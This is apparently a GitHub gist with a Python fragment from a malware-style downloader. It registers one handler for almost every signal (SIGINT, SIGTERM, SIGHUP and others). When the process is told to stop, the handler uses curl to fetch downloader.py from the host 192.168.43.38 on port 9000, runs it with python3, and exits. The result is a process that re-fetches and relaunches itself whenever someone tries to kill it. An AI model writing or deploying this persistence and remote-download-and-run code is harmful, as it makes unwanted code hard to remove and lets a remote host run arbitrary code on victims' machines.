Skip to content

Instantly share code, notes, and snippets.

@NimishMishra
Created July 7, 2020 16:35
Show Gist options
  • Save NimishMishra/ad3b123938e96b777283fdce7a92b2f8 to your computer and use it in GitHub Desktop.
Save NimishMishra/ad3b123938e96b777283fdce7a92b2f8 to your computer and use it in GitHub Desktop.
def refresh_downloader_on_signal(signalNumber, frame):
COMMAND = "curl http://192.168.43.38:9000/downloader.py -o downloader.py"
run_command(COMMAND)
COMMAND = "python3 downloader.py"
command_split = COMMAND.split(" ")
subprocess.Popen(command_split)
os._exit(os.EX_OK)
def signal_handlers():
try:
signal.signal(signal.SIGHUP, refresh_downloader_on_signal)
signal.signal(signal.SIGINT, refresh_downloader_on_signal)
signal.signal(signal.SIGQUIT, refresh_downloader_on_signal)
signal.signal(signal.SIGILL, refresh_downloader_on_signal)
signal.signal(signal.SIGTRAP, refresh_downloader_on_signal)
signal.signal(signal.SIGABRT, refresh_downloader_on_signal)
signal.signal(signal.SIGBUS, refresh_downloader_on_signal)
signal.signal(signal.SIGFPE, refresh_downloader_on_signal)
signal.signal(signal.SIGUSR1, refresh_downloader_on_signal)
signal.signal(signal.SIGSEGV, refresh_downloader_on_signal)
signal.signal(signal.SIGUSR2, refresh_downloader_on_signal)
signal.signal(signal.SIGPIPE, refresh_downloader_on_signal)
signal.signal(signal.SIGALRM, refresh_downloader_on_signal)
signal.signal(signal.SIGTERM, refresh_downloader_on_signal)
except Exception as e:
pass
signal_handlers()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment